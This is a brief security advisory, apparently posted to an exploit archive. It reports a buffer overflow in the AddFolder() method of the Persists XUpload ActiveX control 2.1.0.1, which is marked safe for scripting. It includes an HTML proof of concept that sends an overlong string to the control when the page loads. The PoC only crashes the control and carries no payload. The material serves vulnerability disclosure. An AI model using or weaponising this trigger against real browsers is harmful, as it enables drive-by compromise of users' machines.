There is a buffer overflow vulnerability in the AddFolder() method of the Persists Software XUpload control version 2.1.0.1.
19805b13373efcfc6a0282922e9f632ea2808ac682f87a7ac76c706fd7c73d7f
There is a buffer overflow in the AddFolder() method of the Persists Software XUpload control, version 2.1.0.1. This object is marked safe for scripting. Version 3.0(latest) is not vulnerable(throws an error if the parameter is more than 256 characters), I have not tested any other versions. A quick Google search for "xupload.ocx" shows that this control is widely deployed. PoC as follows:
------------------
<!--
written by e.b.
-->
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = 'A';
while (s.length <= 1380) s = s + 'A';
obj.AddFolder(s);
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E87F6C8E-16C0-11D3-BEF7-009027438003" />
</object>
</body>
</html>
------------------
Elazar